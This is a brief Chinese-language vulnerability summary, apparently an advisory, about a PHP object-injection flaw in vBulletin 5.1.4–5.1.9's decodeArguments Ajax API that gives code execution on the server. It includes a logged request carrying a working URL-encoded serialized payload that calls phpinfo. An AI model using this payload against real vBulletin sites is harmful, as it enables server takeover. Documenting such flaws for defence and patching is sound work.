漏洞概要

vBulletin 是一个论坛程序套件，它使用PHP编写。该漏洞利用decodeArguments Ajax API执行php代码，可直接代码获取服务器权限。

vBulletin (5.1.4<=version<= 5.1.9)

www.vbulletinindir.com/download/vBulletin-5.1.4.rar


108.47.xx.yy – – [02/Nov/2015:22:18:21 -0500] “GET /vbforum[/]ajax/api/hook/decodeArguments?
arguments=O%3A12%3A%22vB_dB_Result%22%3A2%3A%7Bs%3A5%3A%22%00%2a%00
db%22%3BO%3A11%3A%22vB_Database%22%3A1%3A%7Bs%3A9%3A%22functions%22
%3Ba%3A1%3A%7Bs%3A11%3A%22free_result%22%3Bs%3A7%3A%22phpinfo%22
%3B%7D%7Ds%3A12%3A%22%00%2a%00recordset%22%3Bi%3A1%3B%7D%22